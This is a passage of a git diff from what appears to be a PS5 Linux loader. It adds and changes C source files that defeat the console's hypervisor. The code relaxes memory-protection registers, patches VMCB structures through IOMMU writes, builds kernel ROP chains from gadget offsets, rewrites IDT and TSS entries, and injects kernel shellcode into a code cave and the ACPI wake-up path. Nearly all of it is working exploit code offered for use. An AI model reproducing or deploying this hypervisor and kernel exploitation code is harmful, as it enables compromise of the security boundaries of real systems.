close(pipe_fds[1]);
return -1;
}
// dont need this anymore
close(pipe_fds[1]);
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
if (!INKERNEL(read_fd_file_data)) {
close(pipe_fds[0]);
return -1;
}
uint64_t read_fd_buffer;
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
sizeof(read_fd_buffer));
if (!INKERNEL(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
// inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be
// called anyvalid is only set if there is at least 1 non global entry being
// removed set the first entry as non global, its being removed anyway so its
// fine (?)
if (!page_remove_global(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
// fd 0 is read end, it holds the buffer, this close is what does the
// pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob
close(pipe_fds[0]);
return 0;
}

147
source/hv_defeat_0304.c Normal file
View File

@@ -0,0 +1,147 @@
#include "hv_defeat_0304.h"
#include "config.h"
#include "iommu.h"
#include "tmr.h"
#include "utils.h"
#include <setjmp.h>
#include <signal.h>
#include <stdio.h>
void hook_call_near(uint64_t hook, uint64_t dst) {
int64_t diff_call = dst - hook;
uint8_t new_instr[5];
new_instr[0] = 0xE8;
*((uint32_t *)&new_instr[1]) = (int32_t)(diff_call - 5);
kernel_copyin(new_instr, hook, 5);
DEBUG_PRINT("Instruction patched\n");
}
int hv_defeat_0304(void *shellcode_kernel, size_t shellcode_kernel_len) {
if (stage1_tmr_relax())
return -1;
if (stage2_patch_vmcbs())
return -1;
if (stage3_force_vmcb_reload())
return -1;
// Install shellcode.
uint64_t sck_va = ktext + env_offset.KERNEL_CODE_CAVE;
kwrite_large(sck_va, shellcode_kernel, shellcode_kernel_len);
hook_call_near(ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP, sck_va);
return 0;
}
int stage1_tmr_relax(void) {
DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: ");
DEBUG_PRINT("Firmware version: %04x\n", fw);
for (int t = 0; t < 22; t++) {
uint32_t b = tmr_read(TMR_BASE(t));
uint32_t l = tmr_read(TMR_LIMIT(t));
uint32_t c = tmr_read(TMR_CONFIG(t));
if (c == 0 && b == 0 && l == 0)
continue;
DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t,
(uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c);
}
if (fw < 0x0300) {
tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);
if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)
goto no_ok;
} else {
tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE);
if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE)
goto no_ok;
}
DEBUG_PRINT("OK\n");
return 0;
no_ok:
DEBUG_PRINT("No OK\n");
return -1;
}
static uint64_t get_vmcb(int core) {
switch (fw) {
case 0x0300:
case 0x0310:
case 0x0320:
case 0x0321:
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
case 0x0400:
case 0x0402:
case 0x0403:
case 0x0450:
case 0x0451:
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
default:
return -1;
}
}
int stage2_patch_vmcbs(void) {
DEBUG_PRINT("\nHV-defeat [stage2-iommu] vmcb patch via IOMMU\n");
int cur = sceKernelGetCurrentCpu();
pin_to_core(cur);
for (int i = 0; i < 16; i++) {
iommu_write8_pa(get_vmcb(i) + 0x90, 0);
}
pin_to_core(9);
DEBUG_PRINT(" done, 16 cores\n");
return 0;
}
static jmp_buf jmp_env;
static volatile int vmmcall_faulted = 0;
void handle_sigill(int sig) {
vmmcall_faulted = 1;
longjmp(jmp_env, 1);
}
int stage3_force_vmcb_reload(void) {
int ret = 0;
auto old_handler = signal(SIGILL, handle_sigill);
for (int i = 0; i < 16; i++) {
pin_to_core(i);
vmmcall_faulted = 0;
if (setjmp(jmp_env) == 0) {
__asm__ volatile("vmmcall");
}
DEBUG_PRINT("[vmmcall] core: %02d %s\n", i,
vmmcall_faulted ? "SIGILL (caught)" : "ok");
// Accumulate results
ret |= vmmcall_faulted;
}
signal(SIGILL, old_handler);
// Return -1 if we didn't caught them
return ret ? 0 : -1;
}

197
source/hv_defeat_0506.c Normal file
View File

@@ -0,0 +1,197 @@
#include "hv_defeat_0506.h"
#include "config.h"
#include "utils.h"
#include <machine/segments.h>
#include <machine/tss.h>
#include <stdio.h>
#define NESTED_CTRL_GMET_ENABLE 0x8
#define IPI_STOP 252
static void setidt(int idx, uintptr_t func, int typ, int dpl, int ist) {
struct gate_descriptor ip = {};
ip.gd_looffset = func;
ip.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip.gd_ist = ist;
ip.gd_xx = 0;
ip.gd_type = typ;
ip.gd_dpl = dpl;
ip.gd_p = 1;
ip.gd_hioffset = func >> 16;
kwrite(ktext + env_offset.IDT + idx * sizeof(struct gate_descriptor), &ip,
sizeof(ip));
}
static int get_vcpu(void) {
if (fw >= 0x0500 && fw < 0x0600) {
return 0;
} else if (fw >= 0x0600 && fw < 0x0650) {
return 1;
}
return -1;
}
static uint64_t get_hv_shm(void) {
if (fw >= 0x0500 && fw < 0x0600) {
return 0x62a01000;
} else if (fw >= 0x0600 && fw < 0x0650) {
return 0x62a22000;
}
return -1;
}
static uint64_t get_vmcb(int core) {
if (fw >= 0x0500 && fw < 0x0600) {
return (uint64_t)0x62a08000 + (uint64_t)core * 0x2000;
} else if (fw >= 0x0600 && fw < 0x0650) {
return (uint64_t)0x62a57000 + (uint64_t)core * 0x2000;
}
return -1;
}
static void build_gp_rop(uintptr_t ist, int vcpu, int tmr_id,
size_t shellcode_kernel_len) {
uint64_t rop_buf[256] = {};
uint64_t *rop = rop_buf;
if (vcpu != 0) {
// Send IPI to vcpu.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = 1 << vcpu;
*rop++ = ktext + env_offset.FUN_STOP_CPUS;
// Clear stopped_cpus.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = ktext + env_offset.STOPPED_CPUS;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
} else {
// Corrupt NESTED_CTRL in vmcb via hv_unmap_pt_tmr hypercall.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = tmr_id;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0x1000;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Disable npt in all vmcb's.
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = NESTED_CTRL_GMET_ENABLE;
for (int i = 0; i < 16; i++) {
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = pa_to_dmap(get_vmcb(i) + 0x90);
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
}
}
// Trigger vmmcall again to reload vmcb.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0xffffffffffffffff;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Copy shellcode.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = kernel_cave_shellcode;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = shellcode_kernel_len;
*rop++ = ktext + env_offset.FUN_MEMCPY;
// Jump to shellcode.
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
}
static void build_ipi_rop(uintptr_t ist, int vcpu, int tmr_id) {
uint64_t rop_buf[256] = {};
uint64_t *rop = rop_buf;
// Corrupt NESTED_CTRL in vmcb via hv_unmap_pt_tmr hypercall.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = tmr_id;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0x1000;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Disable npt in all vmcb's.
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = NESTED_CTRL_GMET_ENABLE;
for (int i = 0; i < 16; i++) {
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = pa_to_dmap(get_vmcb(i) + 0x90);
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
}
// Trigger vmmcall again to reload vmcb.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 0;
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
*rop++ = 0xffffffffffffffff;
*rop++ = ktext + env_offset.FUN_HV_UNMAP_PT_TMR;
// Set stopped_cpus.
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
*rop++ = ktext + env_offset.STOPPED_CPUS;
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
*rop++ = 1 << vcpu;
*rop++ = ktext + env_offset.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// Call as_lapic_eoi.
*rop++ = ktext + env_offset.FUN_AS_LAPIC_EOI;
// Pivot to iretq.
*rop++ = ktext + env_offset.GAD_POP_RSP_RET;
*rop++ = ist + 0x00;
kwrite64(ist + 0x00, ktext + env_offset.GAD_IRETQ);
kwrite(ist + 0x30 + 0x08, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
}
int hv_defeat_0506(void *shellcode_kernel, size_t shellcode_kernel_len) {
// hvm_shm + tmr_id * 0x18 + 0x298 = vmcb0 + vcpu * 0x2000 + 0x90
// tmr_id = ((vmcb0 + vcpu * 0x2000 + 0x90) - (hvm_shm + 0x298)) / 0x18
int vcpu = get_vcpu();
int tmr_id = (get_vmcb(vcpu) - get_hv_shm() - 0x208) / 0x18;
uintptr_t ist_gp = pa_to_dmap(alloc_page());
build_gp_rop(ist_gp, vcpu, tmr_id, shellcode_kernel_len);
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
offsetof(struct amd64tss, tss_ist6),
ist_gp + 0x1000);
setidt(IDT_GP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
SEL_KPL, 6);
if (vcpu != 0) {
uintptr_t ist_ipi = pa_to_dmap(alloc_page());
build_ipi_rop(ist_ipi, vcpu, tmr_id);
kwrite64(ktext + env_offset.COMMON_TSS + vcpu * sizeof(struct amd64tss) +
offsetof(struct amd64tss, tss_ist7),
ist_ipi + 0x30);
setidt(IPI_STOP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
SEL_KPL, 7);
}
// During suspend, AcpiSetFirmwareWakingVector will corrupt its own pointer,
// and during resume it will trigger #GP, thus executing our ROP chain.
kwrite64(ktext + env_offset.ACPIGBL_FACS,
ktext + env_offset.ACPIGBL_FACS - 8);
return 0;
}

View File

@@ -1,103 +1,101 @@
#include "iommu.h"
#include "utils.h"
#include <stdio.h>
#include <string.h>
iommu_ctx iommu_store;
iommu_ctx *iommu = &iommu_store;
int iommu_init(void) {
uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC);
if (softc_ptr == ktext) {
DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset");
return -1;
}
uint64_t softc = kread64(softc_ptr);
if (!softc) {
DEBUG_PRINT("[iommu] softc is NULL\n");
return -2;
}
iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA);
iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR);
iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR);
iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR);
if (!iommu->cb2_base || !iommu->mmio_va) {
DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n",
iommu->cb2_base, iommu->mmio_va);
return -3;
}
DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc,
iommu->cb2_base, iommu->mmio_va);
return 0;
}
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(const void *cmd) {
if (iommu->mmio_va == 0)
iommu_init();
uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL);
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE);
kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail);
while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) !=
kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL))
;
}
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(uint64_t pa, uint64_t val) {
uint32_t cmd[4];
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
cmd[2] = (uint32_t)(val);
cmd[3] = (uint32_t)(val >> 32);
iommu_submit_cmd(cmd);
}
// Write 4 bytes to a physical address
void iommu_write4_pa(uint64_t pa, uint32_t val) {
uint64_t aligned = pa & ~7ULL;
uint64_t existing = kread64(dmap + aligned);
uint32_t off = (uint32_t)(pa & 7);
memcpy((uint8_t *)&existing + off, &val, 4);
iommu_write8_pa(aligned, existing);
}
// Write arbitrary length to a physical address in 8-byte chunks
void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) {
const uint8_t *src = (const uint8_t *)data;
uint32_t off = 0;
if (pa & 7) {
uint32_t head = 8 - (uint32_t)(pa & 7);
if (head > len)
head = len;
uint64_t aligned = pa & ~7ULL;
uint64_t existing = kread64(dmap + aligned);
memcpy((uint8_t *)&existing + (pa & 7), src, head);
iommu_write8_pa(aligned, existing);
off += head;
}
while (off + 8 <= len) {
uint64_t val;
memcpy(&val, src + off, 8);
iommu_write8_pa(pa + off, val);
off += 8;
}
if (off < len) {
uint64_t aligned = pa + off;
uint64_t existing = kread64(dmap + aligned);
memcpy(&existing, src + off, len - off);
iommu_write8_pa(aligned, existing);
}
}
#include "iommu.h"
#include "utils.h"
#include <string.h>
iommu_ctx iommu_store;
iommu_ctx *iommu = &iommu_store;
int iommu_init(void) {
uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC);
if (softc_ptr == ktext) {
DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset");
return -1;
}
uint64_t softc = kread64(softc_ptr);
if (!softc) {
DEBUG_PRINT("[iommu] softc is NULL\n");
return -2;
}
iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA);
iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR);
iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR);
iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR);
if (!iommu->cb2_base || !iommu->mmio_va) {
DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n",
iommu->cb2_base, iommu->mmio_va);
return -3;
}
DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc,
iommu->cb2_base, iommu->mmio_va);
return 0;
}
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(const void *cmd) {
if (iommu->mmio_va == 0)
iommu_init();
uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL);
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE);
kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail);
while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) !=
kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL))
;
}
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(uint64_t pa, uint64_t val) {
uint32_t cmd[4];
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
cmd[2] = (uint32_t)(val);
cmd[3] = (uint32_t)(val >> 32);
iommu_submit_cmd(cmd);
}
// Write 4 bytes to a physical address
void iommu_write4_pa(uint64_t pa, uint32_t val) {
uint64_t aligned = pa & ~7ULL;
uint64_t existing = kread64(dmap + aligned);
uint32_t off = (uint32_t)(pa & 7);
memcpy((uint8_t *)&existing + off, &val, 4);
iommu_write8_pa(aligned, existing);
}
// Write arbitrary length to a physical address in 8-byte chunks
void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) {
const uint8_t *src = (const uint8_t *)data;
uint32_t off = 0;
if (pa & 7) {
uint32_t head = 8 - (uint32_t)(pa & 7);
if (head > len)
head = len;
uint64_t aligned = pa & ~7ULL;
uint64_t existing = kread64(dmap + aligned);
memcpy((uint8_t *)&existing + (pa & 7), src, head);
iommu_write8_pa(aligned, existing);
off += head;
}
while (off + 8 <= len) {
uint64_t val;
memcpy(&val, src + off, 8);
iommu_write8_pa(pa + off, val);
off += 8;
}
if (off < len) {
uint64_t aligned = pa + off;
uint64_t existing = kread64(dmap + aligned);
memcpy(&existing, src + off, len - off);
iommu_write8_pa(aligned, existing);
}
}

View File

@@ -1,77 +1,13 @@
#include "loader.h"
#include "config.h"
#include "firmware.h"
#include "linux.h"
#include "utils.h"
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define MINI_SYSCORE_PID 1
static uint64_t alloc_page(void) {
void *page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
// Fault it to force physical allocation
*(uint8_t *)page = 0;
return va_to_pa_user((uintptr_t)page);
}
static void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa,
int bits) {
uint64_t entry;
uintptr_t pml4e = pml4 + pmap_pml4e_index(va) * 8;
entry = kread64(pml4e);
if (!PAGE_P(entry)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pml4e, entry);
}
uintptr_t pdpe = pa_to_dmap(PAGE_PA(entry)) + pmap_pdpe_index(va) * 8;
entry = kread64(pdpe);
if (!(entry & PG_B_P)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pdpe, entry);
}
uintptr_t pde = pa_to_dmap(PAGE_PA(entry)) + pmap_pde_index(va) * 8;
entry = kread64(pde);
if (!(entry & PG_B_P)) {
uint64_t page = alloc_page();
entry = page | PG_B_RW | PG_B_P | bits;
kwrite64(pde, entry);
}
uintptr_t pte = pa_to_dmap(PAGE_PA(entry)) + pmap_pte_index(va) * 8;
entry = pa | PG_B_RW | PG_B_P | bits;
pte_store(pte, entry);
}
void pte_store(uintptr_t ptep, uint64_t pte) {
static_assert((PAGE_SIZE % 0x1000) == 0,
"PAGE_SIZE should be a multiple of 0x1000");
for (uint64_t i = 0; i < (PAGE_SIZE / 0x1000); i++) {
kwrite64(ptep + i * 8, pte + i * 0x1000);
}
}
const char *file_paths[] = {
"/mnt/usb0/", "/mnt/usb1/", "/mnt/usb2/",
@@ -79,15 +15,57 @@ const char *file_paths[] = {
"/mnt/usb2/PS5/Linux/", "/mnt/usb3/PS5/Linux/",
};
long find_and_get_size_of_file(const char *filename, char *found_path) {
long find_and_get_size_of_file(const char *filename, char *found_path);
int find_and_read_file(const char *filename, void *buf, size_t bufsize);
static const char *get_overridden_filename(const char *filename) {
static int state = 0;
static char *overrides_start = nullptr;
static char *overrides_end = nullptr;
if (state == 0) {
state = 1;
char found_path[256];
ssize_t size = find_and_get_size_of_file("path-override.txt", found_path);
if (size > 0) {
overrides_start = malloc(size + 1);
overrides_end = overrides_start + size + 1;
if (read_file(found_path, overrides_start, size) == size) {
state = 2;
for (char *p = overrides_start; p < overrides_end; p++)
if (*p == '\n')
*p = 0;
// make sure the last string is null-terminated
overrides_start[size] = 0;
}
}
}
// overrides not found, or unreadable, or currently looking for it
if (state == 1)
return filename;
size_t needle_len = strlen(filename);
for (const char *p = overrides_start; p < overrides_end;) {
size_t haystack_len = strlen(p);
if (haystack_len > needle_len && !strncmp(p, filename, needle_len) &&
p[needle_len] == '=')
return p + needle_len + 1;
p += haystack_len + 1;
}
// haven't found an override, return original filename
return filename;
}
long find_and_get_size_of_file(const char *filename, char *found_path) {
char full_path[256];
struct stat st;
filename = get_overridden_filename(filename);
int num_paths = sizeof(file_paths) / sizeof(file_paths[0]);
for (int i = 0; i < num_paths; i++) {
snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);
if (stat(full_path, &st) == 0) {
@@ -100,14 +78,13 @@ long find_and_get_size_of_file(const char *filename, char *found_path) {
return -1;
}
static int find_and_read_file(const char *filename, void *buf, size_t bufsize) {
int find_and_read_file(const char *filename, void *buf, size_t bufsize) {
char full_path[256];
struct stat st;
int num_paths = sizeof(file_paths) / sizeof(file_paths[0]);
for (int i = 0; i < num_paths; i++) {
snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);
if (stat(full_path, &st) == 0) {
@@ -119,7 +96,7 @@ static int find_and_read_file(const char *filename, void *buf, size_t bufsize) {
return -1;
}
static int read_file(const char *path, void *buf, size_t bufsize) {
int read_file(const char *path, void *buf, size_t bufsize) {
int fd = open(path, O_RDONLY);
if (fd < 0)
return fd;
@@ -128,7 +105,7 @@ static int read_file(const char *path, void *buf, size_t bufsize) {
return r;
}
static void trim_newline(char *s) {
void trim_newline(char *s) {
while (*s != '\0') {
if (*s == '\r' || *s == '\n') {
*s = '\0';
@@ -139,9 +116,6 @@ static void trim_newline(char *s) {
}
int fetch_linux(struct linux_info *info) {
uintptr_t syscore_pmap = getpmap(kernel_get_proc(MINI_SYSCORE_PID));
uintptr_t syscore_pml4 = kread64(syscore_pmap + 0x20);
char bzimage_path[256];
char initrd_path[256];
@@ -152,7 +126,7 @@ int fetch_linux(struct linux_info *info) {
}
void *bzimage =
mmap(NULL, ALIGN_UP(bzimage_size, 0x1000), PROT_READ | PROT_WRITE,
mmap(NULL, ALIGN_UP(bzimage_size, PAGE_SIZE), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (bzimage == MAP_FAILED) {
notify("[-] Error could not allocate bzimage.\n");
@@ -160,7 +134,7 @@ int fetch_linux(struct linux_info *info) {
}
bzimage_size =
read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, 0x1000));
read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, PAGE_SIZE));
if (bzimage_size < 0) {
notify("Something went wrong while reading bzImage - Aborting\n");
return -1;
@@ -173,19 +147,25 @@ int fetch_linux(struct linux_info *info) {
}
void *initrd =
mmap(NULL, ALIGN_UP(initrd_size, 0x1000), PROT_READ | PROT_WRITE,
mmap(NULL, ALIGN_UP(initrd_size, PAGE_SIZE), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (initrd == MAP_FAILED) {
notify("[-] Error could not allocate initrd.\n");
return -1;
}
initrd_size = read_file(initrd_path, initrd, ALIGN_UP(initrd_size, 0x1000));
initrd_size =
read_file(initrd_path, initrd, ALIGN_UP(initrd_size, PAGE_SIZE));
if (initrd_size < 0) {
notify("Something went wrong while reading initrd - Aborting\n");
return -1;
}
if (dump_device_firmwares(initrd_path) < 0) {
notify(
"Something went wrong while dumping device firmwares - Continuing\n");
}
size_t vram_size;
char buf_vram[16] = {};
int ret = find_and_read_file("vram.txt", buf_vram, sizeof(buf_vram) - 1);
@@ -219,20 +199,21 @@ int fetch_linux(struct linux_info *info) {
info->initrd = kernel_cave_bzImage + ALIGN_UP(bzimage_size, PAGE_SIZE);
info->initrd_size = initrd_size;
info->vram_size = vram_size;
info->kit_type = (int)get_kit_type();
strcpy(info->cmdline, cmdline);
uint64_t page = alloc_page();
kwrite(pa_to_dmap(page), info, sizeof(struct linux_info));
install_page(syscore_pml4, kernel_cave_linux_info, page, 0);
install_page_syscore(kernel_cave_linux_info, page, 0);
for (int i = 0; i < bzimage_size; i += PAGE_SIZE) {
install_page(syscore_pml4, info->bzimage + i,
va_to_pa_user((uintptr_t)bzimage + i), 0);
install_page_syscore(info->bzimage + i,
vtophys_user((uintptr_t)bzimage + i), 0);
}
for (int i = 0; i < initrd_size; i += PAGE_SIZE) {
install_page(syscore_pml4, info->initrd + i,
va_to_pa_user((uintptr_t)initrd + i), 0);
install_page_syscore(info->initrd + i, vtophys_user((uintptr_t)initrd + i),
0);
}
return 0;

View File

@@ -1,178 +1,54 @@
#include "main.h"
#include "../shellcode_kernel/shellcode_kernel.h"
#include "hv_defeat.h"
#include "loader.h"
#include "offsets.h"
#include "utils.h"
#include <stdio.h>
#include <unistd.h>
int main(void) {
if (setup_env()) {
notify("Something went wrong while initiating.\nPlease make sure your fw "
"is supported.");
return -1;
}
if (hv_defeat()) {
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
"your fw is supported.");
return -1;
}
if (fetch_linux(&linux_i)) {
notify("Something went wrong while installing linux files.\n");
return -1;
}
if (prepare_resume()) {
notify("Something went wrong while preparing resume.\n");
return -1;
}
notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait for the orange light to stop "
"blinking and then wakeup to Linux :)\n");
sleep(5);
enter_rest_mode();
while (1) {
sleep(30);
}
return 0;
}
int setup_env(void) {
notify("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system "
"to boot Linux on sleep resume.\n");
if (set_offsets())
return -1;
if (init_global_vars())
return -1;
return 0;
}
int prepare_resume(void) {
if (env_offset.KERNEL_CODE_CAVE == 0) {
printf("Error: missing code cave offset\n");
return -1;
}
if (env_offset.KERNEL_DATA_CAVE == 0) {
printf("Error: missing data cave offset\n");
return -1;
}
printf("\nWriting Shell Code for WakeUp path and patching "
"AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n");
uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE;
uint64_t dest_data =
ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data
// variables are in shellcode
uint64_t sz = shellcode_kernel_text_len;
uint32_t CHUNK = 0x1000;
uint64_t written = 0;
while (written < sz) {
uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written);
kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n);
written += n;
}
DEBUG_PRINT(" copied %d bytes to text cave\n", sz);
DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n",
dest_text, env_offset.KERNEL_CODE_CAVE);
for (uint64_t i = 0; i < sz; i++) {
DEBUG_PRINT("%02x", kread8(dest_text + i));
}
DEBUG_PRINT("\n\n");
shellcode_kernel_args args;
// Fill structure of ShellCode Arguments
args.fw_version = kernel_get_fw_version() & 0xFFFF0000;
args.ktext = ktext;
args.kdata = kdata;
args.dmap_base = dmap;
args.fun_printf = ktext + env_offset.FUN_PRINTF;
args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA;
args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS;
args.fun_hv_iommu_wait_completion =
ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION;
args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS;
args.fun_smp_no_rendevous_barrier =
ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER;
args.g_vbios = ktext + env_offset.G_VBIOS;
args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL;
args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE;
args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE;
args.iommu_mmio_va = iommu->mmio_va;
args.iommu_cb2_va = iommu->cb2_base;
args.iommu_cb3_va = iommu->cb3_base;
args.iommu_eb_va = iommu->eb_base;
memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16);
args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE;
args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;
